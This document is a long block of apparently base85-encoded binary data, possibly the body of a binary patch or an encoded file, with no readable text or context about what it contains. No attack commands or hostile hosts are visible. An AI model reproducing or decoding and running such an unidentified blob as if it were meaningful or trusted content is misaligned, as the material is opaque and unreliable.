zt5>hg@h*mw{W0Y@ONy1YyeE|#%HI{BeNbs~|25y!CnfCpC-5!!+;iU!KNf$pm#OC@ z`kVC3E3uk~$dIz3_ucq!Pj%ew7M#Cp&`8hTb+=6l3@G_Xv=S}iz_4K4t}gaG_>N6d zTAH7~i<14J1_~C|_hGN&-5`_e?`?Q2XJ=<%Pp+;hN&E7}4WI#-3|o15vh0^?HQn6) z0CyMYIxCBcq|J<4UC5}Zi-3m(0U`3&L=F*~d2wm!VXipr_gJE;f&$5H5jHaX?RX$o z#Q|c6P4buagiB+HurP486fU>HXU;jT%tmlDm9_ApCrEAXU(Bp;_&oeRkpwn;HQp|{ zzDaBs@TFc>g`K!ks4;%0`%2fTCZVA|{mUJ__G4;Ns;O?1FG-ahBI>ub(iN1Msku2K z0S_APlJ0I1xLhzQ0->0?!=br3i*Ek_;I0NY2(YNVE9S>ZyE&S-laZ4Xa5N#Iw{7p} zP*+z6QzM_BLtC;*g)%bXkUh}og9*f&*N;G4o(0mEiM_q37PxK!{iUYb`PUyX^95~t zT<&8U82fl%pA%#9q!uY;>;8WAL&A^80xHoTzcjCQy4V&DJo3U~iWGkzeOOT#%VHP) z1x`9FBX)$VkCYa>OPUOjd^-M*^54!w#Kgpa0qEoLBD|fQ9T(xie06m-JO&jA=PWIA zjSLURL`IT7pwC1o^n5jIQNjzpnhE>piatJjRkoxfZ#v*yl z?puyglv8`2R+nyMn!cNYN5w0Qbn8oCSOJD{LVh>1(dSgXdv5%&m>%Tw;cWygQZu+_A zD05rPxVyyP_nlkfsG?sdOr|~~YO8L5N68)1iHnyUP=bcgz+nBG1jp~j_PXwfhb9&6 zvabUH5wQiM_MNUm`JxxKa%C@{OXHn$tsTe1G>@O=PL zT1!<`w1f~)JOPvSBCxhsd!27S1F;0Cx`(U0VZaI`stDRRG)32&(-ZKd?jIspmPSNG zY+XfxHpb5Oko*bQ*jbZbD1?O8xvPv1mfETU1Ig6|b<&Dgk!2naOa4X@lV1?A8naN# ze3<`LIG;YrDZkeUMKH+yhQ3i^sr(RaLZTyeT)8LR#)l6j4PU(OO`cP1^go5 z#33sKlT~F|S*lUsfC9$lHrJ!|W~U?&2mo<8;IsO^ybOj(HixqZ6v+Kp{c7MIul9L< z)MaF>0G3)HdsRxued+8JN=dvLB*;1W2iHq^N`QtswA8 z_vgx*>g&~BwI}_b7Jw;{1_sxSFi^MP>zysrCK&~(Mu=2&7HEY3obdnn@dIz<6VjVE z;*TewRvWlN*3_1My=du*wJ1FY!q#H9^57i%TX}+LGxAEIQnT7)QE1E&X-u+5wu7(H6`9B%WvJ?-KDJ1;uWEx+d)+h z&H=ID_I3jr8Wa>13yWRg90ko)o&B2i^=Q%K3^19`O`$c`N5`_Ua+Zx(ZmdBnEk?0q z=B{EFd5uaqN?&=DLKlP*Ui0jv?hU*{pwEc)50+;`ADca#s3CGFwbo0~MWn$D<&*z+ z?)ocuYTW%vlq`fnEh;WY5R;LrMrnLT59l}h@L`xKEG#S}EX=v-Tl^cw{^V#gSddIv zuX#r;#p03e4bIoa^X_i{xv~ZD&X}bE@AmZ(x5-HIhmw+#S~1*_PZ5B*H7qk~b+q4Y zTTjB3Si(eka@hPWya2@FKNd?mx83BeRv&NQ2gv0eqQ~P4^nA$8sx*Tgbwfb^81ne- zBmW%YS(1*DX{CPh!=gLlME&ZAT+t`95tOg3|9FcQ;j`aT4>J4T>%f-WJNPfFYo!t( z8z$pzk7~REQ7bUMxEHs$JYC~=<7Ht{F&Frlm6w%e;N_*Knm}rxrw22yqM(2jr+t3k zkW^q{H*JgZoY>I7X_iQ|MT9mO5vzN%VSbs6x1_7fR$IHuDpm@$l2~cJ`;eMAXvj2T__qB=5w!qZgM((AatsZA(*h9(6b^#Z>qFOYJv6elDc2f;NkJPX|_ z#%C=wx6*?})3QbADYH`n643tEPoA6*?T0t3;l`n*Nse^N1BPLx% zm>0`cjYJy3`n7AnAy)6sML!f|HX)vEjVib*xI9@xaEGs4p|m*mEN$V5%pox`F~xR( zKSRHDXm~iF)bxQU_Y2M$?Ka%*-kw%R0HGV^K|3fxY0`%w;VCRLl@-${1I!?qP=W-QLyE~+kF4_6EhXm& zyZb!u3*9)PZEd-F|3MuVr!@9A>Uf}{px6!xC=2cr^t}x4Ao_4{046A_E|-_ih*2Kq zcPISseFY7HSs<3<{#9I#KumbJ?ObUA%N1p*T=Cy-T}vZ5j1K@|L4oRCa0!D*nPN6z zbKEa|O#jV8nqgodt9WyX$gvg+6zmTiH)Ue+EkGqV5H; zJqwEhkklHoIa}c-K}2+xh3_#8iUjpMq~bLNWdX>i)jBWOGqkn4vvRO4H#oNq4e&Z$ z{`@JMB=LH<4HcG?o4c;gW+XZKeuViV7C7@O%Zf(-_0~D!p7_!<2}83|NPTvM{hujQ zK~x*hO~qkL?m)=br!>|&ytH)W)R2GZ<4j=;lTmB<_HUF@!A+F&3tF)YT@U^K&)X$q zDhoNx>Ji7YB@q3{O*TC z8YHZ&7mAtB{$dI7s8`pQ{b9lUyu5h$`*nvj5Qw@~qYh;+&BN0TC$I@K(%qka2V>rF zjb6nJ9#$bCVkfVg)3Wdyv75j5IIX-6#xYu{vOc9&UhTJb*q2wJIp&dN>>Luh8m>p8h^% z?0^SqNe#J}k?v%ES_VyNVMK(b!C1t@-=B`*5c8335ju5DP0@^b>V<8g;3!rhMt3_tH49)9iqI$3Mm*!uAyT?x3O>R7l@kPy}zY?_jje>OY4+X@w*X3%Lau8bK2 zcO>v53Am0V-!?a^Q5)`}A%`DuSX`Q;A)fw}g#|Gix4D&-6_8F{S%KB<@IDJLtg{5| zg@J27G@tp^UPThMVs&FZOuwpT!mgEF8@Eu3h+)=JNEdPqmv`F zbaa)6p##tQAZ2_Nd~4HREw_vKn{Fw58L9MoV+}j{VMKZ<%gN?&4~CJ zhw)XYwoWw{!^0(=ot+OTgom>=?{sy4i{D?LLaUBcucP(Fg@<=5lCXI=0{1oGWrJcy zo#rfL_=A=<8FfY=xv2FK9u;0V93K*f4 zr>w5F1Ka#_qqPMHxgvuB!$bgDeXbX)PqW|@88F~T);wGmAc7PKVkGiu=nMpGX~5$I_U+`f91?Hc-B!f%0-s1r9hk(++WxHDMw8Iz7Y~1;AVcgEm&22D_=wP`*8nj_Dqaxf*C|q1x z#KbwEAR!WVOQ+c0+0kz5H@?3(DuJcCXlftSiI6Rg7{GI_=&6Z%f_oL^Z$Ge)mu%(3mMx+-DV~sV; z3(Y^4k6(00cT>KSx2ImS?Em~Zl>Oo0kMo4f26iooxXC)|n}oti6{9iW;^QY&O3b|f z0l)#TrC{;I{v!_28)kXwMHW^w*A){p0Am(qKi$HnaWbPU;0ujfrRqoO11Ob9 zb^seXoAkHXTZ>z)DDrWp;N;}lG-e_YihcxnO8}foMCEklti{@k$k(`73%2M-h+a^t z0yB@Gpdd1ouduiQZgdqX^tiZ;RD4phvIzu#afaV{CJGgSk)_V$S%8ys4ltxTJRd6K z2gPXxI2jdLru9Amgx?YwdFc>H4NB_G6Y=?IP{bz99HI3|w>$cv5o5o?H~>P6929!K zDu|e*G8lH=#l-+;gcPW*Dtttz?U_|9Q2^=@c00z-wL|%m8HE2?n(?6?K85 z{(OgvONP+9jQn6Im%^Q>_jSL1*ex^?*|S14q=BbaSy3L13i9XnV&-%$YLHu7UGwG1 zeT%_Q%$38ezZe+9mzFpO@G-&1e)Bzs}|2A>MJQ;UlKlFQ!00 z>2|U8VpRy2{jvtv>p1OFMf{ZjYJTdX{40fvAe`^vr5V;fV!glzkjnuamX$_rtPZDH zpjZG=cnV7BZ0qzcC=`@9G)Sl@5wIQ|KZZo<>NNf&`)7&Z#cI#c)Foq)i`-Tj79 zzfp9PtXlI(%hB5rJKCg>H-u=Vi7n81LM~jn8!IXzB0%ka|8%NV@d)TU(6F#;pU!W; z|CV>WYCh1ugx;Smfy|<*1@UcPNbpNv+)4KKSvcR*`hFU73NFy0Z*l`5Q!}{$x-qJvG=DC(a3$x=3CF0@{B!(-pt6$WXtt38&G{p6ry&(&=cLi2tMxN$ib%`yadT@o zlkTfRXvsc*PLbr2l$Ja?JS@zoz)9v9j*5zV0caC%oHW2e5tSg~{kRRFV6;ip;<>)h z+Yv4R%SxXS@aQ8wm<9yZ()J62G?K>hAmzE-chYP(^oiLlepy9DY1r>;wO`}u3otXI z6fX6Mhb*(4>{+k5Sln3SaW8Ur1JoE+lf z;xaTB8yh(_GsoCs2Ccv;DUC%8O@Kr0Rs0KXUg`d~RYkqaqzaUv1c}v(8?jao#82Ah@hrh2~7AiL4 zv$NlR`tKAL84&kFq*0=%8NscGB}n+1osC4$hXDdfNlkS+ygq1ee>^T%gSKd9iWiZH z5%9gQSN|2O`xy@iFd!UU`|%?xl8W>pWp?axHEsh z+1V>$V5W#bj^}^G<}{rQ#4zp;YMS~7VT?y6n!op_I?VsGdDV<9=$)Kh`rB?0naJGS z9N7E;QC=#4v_jtJ;&eFLI1dM~?MGlx#Sek6hZOGp#OE&ST{a!NW?gQFwG05t{(Q&;5nSu--Cp4~ zmRUj}5wM)d*meBFP#f^rWIL6G78~D_ol{B>(~`y%9=I!F)Fj|qv13^X)W<|~um zzlTcr{|DU3l>eKd!S3qHXppGVXiDaD5>dy8fNt09ox1x;YYedGYiX*+hDW#h9JGgo z@GfD3)dZU)U@E{wu8jcQ=lrQD4*e1xIgHT0U|CL6?zdO}@A5~6Efb^yls=qe=p3kf z=s&$*MT3TZ3S{VI(C8?C;piDDMTRi+^gXGlsy=sS#`C!{fH7N9rIEp=R12XWG) zZ-Hf_Z9kJSlXF4n1}Y80N?YQ3#05aQxa^kKquNS9m<`nJ?Gv0+Vb5yCAWbtM|&~6=fVIhLVC`CHy(eg6CC$ZYac%4T6=#i(PTH zDe>_XJIYW{P#m>(`K6_5ZH<%+Q~*KSEUiuNe0;VK*pb2b#Qk*r zoqM_d!rt`mU$JlXqDs|>d1&I-1%hh%U}kRzFV8_BLnvf-m<$r5@%;(TZk2N+;B*S= zl8(zp^;9;uEX2W%RJu=2OOqadeWBlA+assWsW~?}sj}#h0~1X-{Y_9b#dPIY(wq(n6@PwrTYk`_gP6?G z@*=9;ca3}K#YWfB)&?6OlDOM$e794RK?j^2|9VIgq$gLe#%!)2>euEbxCdPxZ)L%| zDFk#&h)a~`&3pvyugG2Co8Q+N9@>H8<-L=RBUvcZ2N6PHLB`()bvQ~&O7eSS|5K%u zLyV13AbzscA44%o&BUG-t-nWNYBwa~hFm)2=eH$%bu#?Ck#f#0IX9(jYGtKk@1gqv zO3$VNX$-+4zmq_MS7AKl95Hb_5jwiMDI(m7g2_s2K`)Pzz@Pj946uR%#R1FPNGmuA|&(_xr+kQK` zxdGxXtU5IKS2S9TQVmZ(jrr*}Y(Mu&S7oo8>8i?3i5Q=q=LRADo1+e&)9W(os!nr! z1v{Zif}{IsdR}-ybcZ-Wv!;AjXYb`NQT&QzQ@{2m9Oa#Fqz|+>b9FqdZVO5o`S;ez zL$Rp3-yDaD{^{wsy1KlLISOO`2=Yl~#on4>auUZahy{KG)Q3CY++5Rh#vT`b_V6^dFQk_ji$!OC2<|(2$ zZBkryS%vaz8hy&p#Pg|~?2Phqi@#lq8oY}1W$9tyD?GX9lt-$_7q*}8W#*=gVay|p zBPU}0JM2qHY9pcg(jrodB7>Frr9=%nKi96kF7xCnohR@0zhwUUO-aj^2QZHQ`U#3M z4#SVH4T%!g(R&94|ALR=$PQ&B(43yJnI}_SKM|qw&f~i(TNC~(0Ko{a6ftMq0m$sU zj(!HS$zT7{TD_a8iVg(tBR8&_<+p%_a{IFlPvt!uOW~Y zQ||7Z9;H-vlyCpr+5_^o128OUGiCL>ew~|u{R1l+U*OZJ!oMNz-w$|1i`SbuF`4Ry zIilQ6G}|_-T;jEkb`f>n!{&k}gens+ej5z!1wk!^*Dpx{9}DsJa#vk7VTk1_(9?r{ zgB}7AHy`py1!$pFgPwA&hzR(Ud{odA;cotKaaowk26*6Jr93;9=Ei>Y{OY5}rGv4ZIL2&wl1db z)-rF#9X2|APp(JM5N~<1g#3Pw0OrysVdH#})OTjz+)ow*Lq^laeJ^i^1Pwl_p_i3t z%*~<(FccLPw6t`*|I2pmLh4Fvhzz8`l=D3QgxOuCG}?MoX^*%!es9{xi~j2MUuo|} z1mwHAJiS|5_*P~s&UWv31tErNYL|y8i0tpjNcio))z>2t)S324p`!;bwUGu83%3fp zKbtW$+0KP#W~f%^9nF`6rYtt1i3ss8}lpb5U+5{0X8Q;$lI9tHO)R zTuREyK@>;J71ZdMN{$SvDJftNjI7M`D=uK|`TO`DX!P+1as=*`m?OcsWx?#zq|1XB z`VRJ6X(=5&HS7lp<|^>EfY@wRUfJNUs~xjX8wE=Ampk6ak(8p@Dm**KdO;;!jzQI>g?fMfTm`p<2{M9Gh!m9QxYJ04SfHO zx_fn(MY`H~<-mQ<60>P(r-C+Tibci*&v)HwT3Jzt2F38otmk zX7EoW+ePYC3AM(wj=0?dO^bSeDFn?>LJU{#15jRX0hk|jh&@3tFd2%reXMhT7diE zV#2Yo-{qLx7Lyv+7YJ!g6g)%yvq;+r8-kVb z$Z+RDFzVV1sO9H(lfoyXMNlDmCyD`B^{~ zBjTe?%!@4;d^}F{R%wm$HH)*vhP(I2sxQ=fvimGv9Hl4zaWzkOh=c|D z!miZqus-{;X7Op*`PUEo<@|`2kh>H81#q1s+_}80pF~G1U@D*)i;0g>(}Az+V8 zjei=Tz>^V-O%`hf!8CHY9&IIMCe74p>ig&q(Fr+5qDt%PN@`0pQ&RG>Lv{wPsF}_- zEb@!`kmY1$?=J6VxX-HA*NrF|0s~)P=J}WRcJeMQm6lrX?WO*^jG-Rq&_N3F^#HoS z9q_*e1-)s>RN0Wj$8iieVMbTuT5c%AQBO=d?`EcZB@KUmL+^dv+`M@8O9|2&@h)tU zYmq#^sKDa=d(*A0AbyH4;!}IjkuecmJ$LAfioVk6-WZHK#Uc4-9!%D|!d9hYDrd>?Vhwj zi_2-y%EPhkRJyypA&?Q#JiiaK1*&>?8E!DU$$hs`{V#Y5=CcySo?galE-Ka9-8A zfE&~&D3aAug)^Vn-H6>J|9gHt2XF*Rd7T}?NJ=PBRHpRX8B53HeI&y=R7*^(t^H_A z8lAS*=9Z`kw#BqKZY9px6!E!QYYXZEH^E~{aw6sjEgTXOiO^7AgiajK{?^{!K$~g;RL;oAz)C8fePC|J8|i|E+X-!q z0pzR1B#f9C#k{;c%#>sS0U;_%sz&RzO4~=kK=qJ-feBp|;gOG*y45PPv67LOEh{eO zaF{xr>ho62;Ogs5n;?FR&&9^^xL(Tyyd8RSBL^vvFXKFfghlO-?HGe7V_6*{%E~$a zBn9KB&d#2eI_ir^ZZ6g~uU)a5(~b+1i6I$o7M778KYUKE&7OOA;V+z6Yol7O}a)_2sfPN}LUKew*l#|1t<#*rAnyv3``%L9-rEU@-rpbN;YBo;tf!e)XF$H)HPg-7`jFXJKpaMfa8<~_OG9^iHZg<^>juZ^9HyzZ zwnz8tthAYzmtXHnS9QEJ@>;cN-bz!|3YT>t!O79p+ncmIZS{^*@_sgQe0UN!IDRc0 zvf$XkbMgKG%KUtaMNLq1y6Gw@A;W(Mt1gt1jVz2MWKG>cL)*q+zKS~lZC+1YZ_>@!kv0*(tKdf~ zjIQ+hfO7XZ|pbPA^*k&E4+P{C!emYl; zSBsE^XVh!740e0VvAEBQ(d>Y#o#y`GLkS(7HBhNp#Lw0IZC;TDi}^I2cHo+p1#{W) zo4iV~k_-tsTjw)vDKWf)y*ab8ITC38v@$#Uqf%GCm}k0eZf-zVTX|w=NXH1wmJ@7f znn3xp#A&1Y5&Dit1r#Hy$~Sj2gIsniz@KgPmWgtp(L9JQ=nv_rN8Sa3r*TIoOYcou z+e6srx;=~!xp`$_bx|=9stc3B_j0mIQV3J5s+N1$U%uq{c6oAJS=pFaK@El`FA24L z5>c`}oDVY*7cG;X5NdwS#q~QpKbU8Dd?YaeD}S}o5LWlq$01yMSPC;yQ6YCy-DaO= zgP&&TGs^wZy}p=8E)-+|4A}xs%}PWz2C(7Z_xEMkm7LJ@-#q$|bvTX;6$O4XbI}L} zmqzhO`HvsT$rL`Y&4W+x)r==rtA4(Ef-E#OHI;*Nk#P7HhKa=4S1w7q8+{wvA`Z-+4 zb=#ENE|9jfH?t3mA+NPN6*zQ>np^P;bhaQ1K?oB?jrWDN0;04xpF8-+7#YC3{o|h- zVNgR8B8qw(e}go0hICu=^NRZH~hD+##Jre~(V2>7AmWB0~j6JqKNj)WQx^ySp^ zZJ`qoJF;6(+uc5Ds{mLDQvZa~mUMfnjqEv`gkV~kx0BPXze z41{dfZf5MzoouwdS%z6x($b=W$`5U&x|5NIH{gWY+ui$f%D=fhCx482g6h{J`U-?r zR4jnp$il%P_T1Mi){+v9F6KBuXeS0WdcUj>Y#rZiZju7+OQ^%U(Pn}85}p+dwi&?W z6hLF_Ysr7#=q)b;iFl>n?qPZOVD%1hij@^KTeLTmfItK0=_0kX!zHM)t1ej^ZI~B` z#vLwT2-0aba9L>x1w9W&mq6tLga`XFEW zgDDG2N+Pt;=;mx~52YleM2r(~%r!KA7Ac>8rz$M2>cy!|t%2`HFMV^+9R9a`y+U0G zZ_}&v{du&LosjT+e6R!7pITcXEZ2z?gQ!8T!v1u_dlwA~0*pTrMn+7;XC8YXL5L_7 zKu2d@<{xnpcwe>BRJpX&;OKY52Qt#z`5!JWoS4QP0NVhG=;QAZ=pp#|;SxCeVG267 z*VvJ@kzZ}-IrOb$P^-TF$16%p;#p=mn9&9?dJoEi~P zq(NQacvZ?^dm}s0FVQnDMr$mmhd=21^2|8x^Y9&>lH1^X$r%UKo8mblP$R>L%f}{Q z>|!<)IK_S;*j7h6rK5Z`RRmn zb}h($YT(+-4SWK%CJ`jYVHlvdsQfL;Kg^>;|dT2k|V zi!$w!pk-|D=-QSHmtF+2JD4}6XC_7AllJ(t+%88%#o@7wim9PHaK3wo!92n2fwk2V zm&O`P>EYPr?fbHBr{Vv$fkbu9viooIUcyQP32FA7 zGrxIwd*>n`rC6{8>ebs;DI;&;rm(agf&T-Y_mxV?P0v^e4|+&Q zJ9ADKSH0a2MG87PaymA()_i?rh^_9;T^+1$P}0?(u`NtCHMdrE+Yu=glz6@bt79NbB8pN=Zn7l|HGQ)(D;;EG3S3IR zc4<;=aIx=(5Ea$c*2NzWqEyC1fz4Quoi`<=#l7u;VLK-$@JX;#@ci4a1Fp>ii~S44 zFa1aO^>YJz@l0_V%NSk0KEQHkvAO6y!8GQq3X7PM6TYURrjClf{`&Q6_=4Gr8&NFb z@`6LR$sbf6v~=xr&*mUoB4FD6(Jb5Fa(VSz)Ecx)tL)sUD%7<5?Qr>AoGS*Y!@`y%eshQ^ ziQxQ>{A&y@?2eerS^(mbTFg;OuCh*!MQ{NRPp|#tw|6c3_H9pcT1`z&LPFrH+FWyq zd_+Hoy*W^k6Qp0Zzcm#YQ2nQq+R3SW|QQ& zuJKB+%b*a0=kF{#XG|_cYe&~xU{W}AVGYR3?MUkTX-jla4jKZ~8Qm^7 z%1U;wg!GN}j?Ex|Umy71FW~1R%+gKr#poqKT(8M)Vh7$9kLH^=?9Hazj`=Xp0cwoO zfQ|^L3P^q!Bge{v4ZY<87IP5nd^r@EKk~OF(jZ z>p#}le!!mb`2g>LeCz)Hp4ph!_x8MJT!}OkAO^FtjMlo`)BY+Bpd`AnG@X+`+X7uA zNLBP&&OKgV*Y6k8Brj9S(bfH6WN2ZMRz(x$v|E{*qi)e)xuxP8hsI&D=tGMIDn6)(m>dG^M*{1 zMa%;V>dlA4P&40-{ZODB24-E|?Zw0Z!AoaoWIQ-4=md-eV%g9s#;UjSDuQ=pyD|BG zIU;b4S7d7AZDsA<65!JC-BCzTy7RyW0xOe#vz$yg@TM{gS0)kV-{Ql>zTC6{i6F!&lQR*tlF||<6m#8`$RCv9P#c}D zhtmzP2p@R7tgYp24H%Rh`-^La{HrFKfHklzp}2ba&%z`;{`60r^|UX>BS+j0RR%4I zsi|ID+my{^fC?Ym4Sj_Jb}eNKIl~AOKU!T~A%d`7vwF{CJP29>HMh&>4gm|P&T>Mu zmL+?WxuleChk7~p-2=D7IxzFuf(`K&Hvq<)bkpPzXv<*GZas&f7-MEbpl34>xdHNv zfbK~Lfe6|iYPjKO5YJZFuscqwJbIX06sX!cpC04MkCLDeDgApSc8fOC>aO3%Cnu+W zPB68#MaRTkoUP>TM{)^o4GpcZ!{9=;{iNpa_wsBfB?SXwNV``>K#O1xRDu#XWwEMu z0(*~vlB%w*c71)VIQC^nlB9_nTaT4_*VSe5f3lnRrgTr<)oL>(0Rq0pR zB+KeLl~`%t(=u&l8FlVU9DUWvv&E9AvZFSbw*;cdqN*lj%-lGa5&Xu`{fpTv+Yu(-_6Q$ZZ>0Lu7;DT!^=8v2#{oKsvtxFB9+V z@=n-|qZ8=|iTnhUv|ApH_w;nMJ@ow5pNg^#qa1{cFSNClNpiGfCy?IS$cD?`jw0X- zZm-tRF;T^OL%oSngp!&BZwk!Y+V@q|NZdn1z>MU6G>26G2o*Kn6TKU{bHDr51n)wh4$93Q8tqoQR;E){rnioYr@xgVxi`w)GuzQ$F#1l zuCt1n=@|*3c2BTKyq??D&B0ItIomS~48e0S@N(a8$Hzu@E78At7#e1Qo;A=WgiuN{ zG!ss`Y-VnbfY)cpwIHO3%(Ns%()Ku5>em-`J(y|*;5j+R?uLWRGf&=*HPs|KXX5uVT z9-99OJpUhOZynV2{&xK;jdY2El(Z7k4bmmu4bt79Qi60NrF2P3NSA&mXI9(m#-j}kezcWkeP~E2 zLz}^uA-wmuU?@Ol-lIx1gV}amRG8{RAXz3-8yQ?+kL4VG(X5a@_2>Q}}^bV{!sAkf$wYDX_f1f}JlZuy7|KU3^ z7nglr;=;*evL@UwML9XDt^UkO&g1i=vNE9^C^T<&@Q^`&LQukiREWgtO?Fr7-)=}5`Dla1&RA83p4_wJ_03G5KOqm4t;5WK3aQfSXsRaV9g zL#*1QSgr#{+#(^k^v-sb1!-9DS3Wy4S%JCQ-P!o}7paRnwhkmRyo==DIG|POq18#DA;)ogw}{ zlL*6aK|9aCzqliL>mNhIKfiM)=;7;s_!|G2IK=Rt{^R!kXZ#S$M*C|q`LEx}Rz~{U z2>D;Xqs)Ntx7g*sKlHXb8602!{o`KS44OUrumAO|DZ8++XN{N@EVzlJ1vyTzxqmA4 zJTXUQ=l}lMmmfU|$??KkYa%i4_r=T~oQW1up$dJk|L}6}o!G}Dy&&;++WTP^Hb-j{ z(L5SlAGn16{nPr4+LVfNyZSW^nw&{7#8Gi3KDiT!7bUzNokv&1SaBl~(5_XBjeWdK zEP5wQ3jYm1{=GTApaut(ZPPhs!4a2&pkThgxBq`W@7l~}wsL#pNN+HsRnY7Fp0IYk z_YpsQTzV#s`Q}|t4qFDQZlz?I{}(CaemI;yt;~2#dT2YC)9cQ z02Bbs6-SiM|5^USdqLc$ELzxa&*n##;YDrfp0#pohTl`%1EZk9wSo^HZk|j{+u__d z4`Y3A=op{=Ygl-Gsqd`*gO7LO`B$C+C03&*S(U59Z;>(UnI95pXDwbi5r9m%6`ok~ zLNG&S5zKsF$Hq!$mag}@e>yMGL-zFv(bDBCa=~lfnL&*1WHifSDJQ4hYebR9%V_l( zZ%}Z2&JT5Hok1cQND-oESN%~zAeUQF5&Mgfn8K(xnz!f-z$n7_miP+54y%vbkn2r>c8Fi|_C41#jR(Dv&sVc~=)1iAm}=lta7pHEL{RY+-f%{D{(IB?z7Qxb035D1~b7EZf-g@fEPfJu(LDbF#;TFmX;QwK4kZcjk?)r zP8Yj`?9IQv0QoYbrsC{u#fOy0P@f2UQYO#sQIoBDSx8Zs#Xw1tnTg8Gk3CC=zR{xi zS10R6$N50@jUR)B!VWgWi_Ogf?UgbF!9{4S zt^F>tdaKdB#LI2x`@dJZjl{s%(CcfTO9X_vKND|O-j5VuZrxC5NDB)K12X`~ayKT= z*nCx7eBZW}EhX2zPuA6H+;d77-FMmF%&ikrY)O9{`lzTUxl1acIRuN;8D=NBHcic+ zXbs*gcij3R!w<Jo6xtSsnYm7l7JbV^EX!MxFK{;PZuUNUHMpJbQt1LqR9wXVr1E>* z-ypY8JJX|#x44La{I}hWo*vrZK0{@^RN+(O@zG+9h$!^Q)t#O4LS-f~ef^mi&EWnv ztiYpFN+E>i$6{*wf^jOU?5(hv2Yg!-drM|~Ld;8TU&O%*+EMe|cRPQ+Id~Gs+))k` zXNSH6;%GQi&{N5XN=i0Jq=?Og@z_sIK%JLBW3%V_uae~X2WOXXuL!@o{N1+_fi`#8 zodmbhT$8DT&UC=P&lvU0Op-*C$;C5K(J%Y^F51S|@sOt~*Qs)VNIM)FE}gd?l6Q0$ zpwYg{7Q>g$)~XkcTv+QT>{a|pZlu)vRcP~IJv6?d*-lE;5Vuw4hhd4~=SE5IYv_xa zw}xv2GFVwz%`Pk9J{LGhC@49U--V(Nyoeng9m`G^T>eZ&foZW+yG4TLav@ime`;z5 z7naC(KSbq<5dA0B8Jj?u{J)NMP8|gBI);iAV($wd5K~lp>`s|Ito5At&SqL$K z(qUqf4d|*|sVG3`Pkb_6YY)PxCnu@*I=PM}(*rh6j}6fNl36pL(5PeoyFt^yz`z-8 z_xbzO_O;}x=v|EO~K%8@nH`<~8k z$EBq`e{T2J2e;bV4P^_!5K2!^#~@wk{)DVr@bp64l`o@<$DqERyrP%5fq8?#cu6LENSI6OK$*naS-4z2t8u9gN~ji<+- z84bV>hr3YG(l(f0Xi7>BvF&2MBQs2z9OrrQ+ zP)EO6-LpQPo{Wj9h4>_!4O(RYb_%AnomnqqSj2mHaBGnzLf!f|iqtyH2fR;JRezXa zBhU#v-h{{Q-)gs^96r)N5G&W>fpT$Z|Jup_V2%kLJj_Bq^I24$4s%a9IAUUA{2;7u z?IwL1#AAL@%UsW>KbG+B-HVH3gN2-Xio5GomLwY~+Mri({9tWqpPHK5Vu|(BrgQ%H zoz0a+w}F;}mI)5J)9L!SKlA=q9y=EfYL}j7_z6#er2_>SP&mk{NapMB7UxEK z=E0B8?|&vrv9EuM;I5uWm(MNgXUB}3d*Do*@l|9wjOdBCNr3l)VY?{WR4v{+dh%^@ z#-bvFCXZjAOq0{nKEmd8atZQ}GKPl2f`ZNZ8vA>>-B+kMe-Uv+%nZgIyu(ns_f;K~ z&M)m{tINy!jovzPs*UXjO9u;I@7*Jr`Rp1YgLd!f|1&80s1s9o>8k?NF{X3q?V5|z zNd_}8U|=!=^6&W1)F-MUYioMNj8!>mN-7rL>oml&X8;WXo*fAh5g)A8h=|Mu1O#4a zrru0+ejXBWRg-9@_B??qQDJ_M!zZKxXh0@`Dr33=94M1ti|DrawRQ60ZU>bn~sq6Q{1%!^Q-So^% z)H!M@HoPudUZV6Sw{}q>LE%IpY`M$br@(}gN&WP0Vj_z4hWCXr#pG1J!ehdkY=(*3 zx9<73&HrkCiSajoJCTB$S@@xJ{m)em$l7)fvLk>$o{|JRy;mzk<{)C8FfOTmYNf{!0h%kZAw4h)f5&TL?WZ6)+a3s?BDPEIwt%e$ye zxc<#82AEBt=R_YKx|#Hel2Ose+B{tE(4VTi`2qc7St}EfnmbaN#{2xRVMd(FS3;t`8Ynu^ipt6r z2?=H~4(3P+u|KDU5i_!8Rqv9E}V~@PWR6e{#5H5=r<|u0LVsl4QGMk z`<~#-;|mhuRx2nJs;K(MbFF;soAt0*Z(7PenJZsP08CF0`t-9zRwS6^$#x z_M3FSa8!+Y96|CMH73J&q5VS%joJ0gdtAxCM&*#6Y+D|rYs4HX_JeYZPPB_SYAL9s z?j9Y*^u=g7tck<|_tvB75F;k9=Pu7{k?ju#j_pe(J(8|JQjv(;{ZHsnhWA7fZ;g73 z!xikB5Fl7MSm`G&BxAChI_wTak5|4Vvd-;tx%ht7a)lE1Y;|dS`;+C4umhUl-F_7DZoqW4-7~qy z7Zenfio6#bl=wLL==UVzaddO@49*EV8(TWB3BtvFAsY!vHhX*0GJ`69z-9M~exa&i zj_?xNd(jNxxA^z(yDocqg76AI3Zj*cSbmSi$vcHK@ONI`d9_;eUv-Y)T-BfW>_vQ{ z!{<1=HQ;AwGgTcH6@~TBSwzkq4F|{F-TCV#CTs5NTO!+Z&2PQECG^nE%|aEMw0f4p zB;*wog7DkgOH;>XQg}Oq4zSH*e3#D6!9xvQzP|)`WQ?D=5%R!_$8u-3Wi`0@)mi)G z8I~IPi#LwiH+ph%E|UuD>(+TE?1~FZs9N~X>fBMqQ~Mx4hil z8}O#10WRvFrMBY1v%v?5C+nTP@ds-IS3x|q4+T}1^PeCb5!s8l{RY58 zpzU)wl#uhgJ-I(5z{eOgUCBbl=6sam-W^S@sioDSnb+}n`OD7m&`*kBoy1TOCK6tG`xw8)B(a-oRA}NTh+#E2CS8uds!&-D z#bd}t)73^ZjDtBa6dgIBjw*>tcOPS4g`a}YCM_dFSOVJv$_^dI8h?$@<21Sb5q*S8 zMHL>t+%H5%Na|AQ8cR{x$K_hd&T+CcU1PTXh?aH*Rs&<7D!;Y^j8XY&0F6fNFY9j- zNhSM1CT`3Oc$n%{2%5e|rLwmlQ~zV$k)@cK-P|N4AsK7;e~VAh)kXX5+oK1HwK@ly zo;x$3y%wrl>_XiE)hRU~%By zN0^TQl{l4lXW>ViKV8ga9m#~2vs52m{+!>g*&437s-=8FOpSbL3s2lsD8-i_s4 z0`R=8)mj}(ttP^N4j)G?y>#gO@b+y{aE`!N@~iR)=bs!)!u|yQaZZQV?> zkL1v93Mr3CIFzZihL&e#{rIROpD>i34nb?%ck%I8>+wwwD=IkaDw=&Z`NLO%=RhUU z=;vlTn=?iq6H{4P2?~HI5{G@E$Hq(|9=8_bBPN5 zo4mm@^ZNF+uXN0VckJ$~txX0-T+-(A8~|d{AYTc=yEYemu{#eza)!h*Xt_VK5v53t 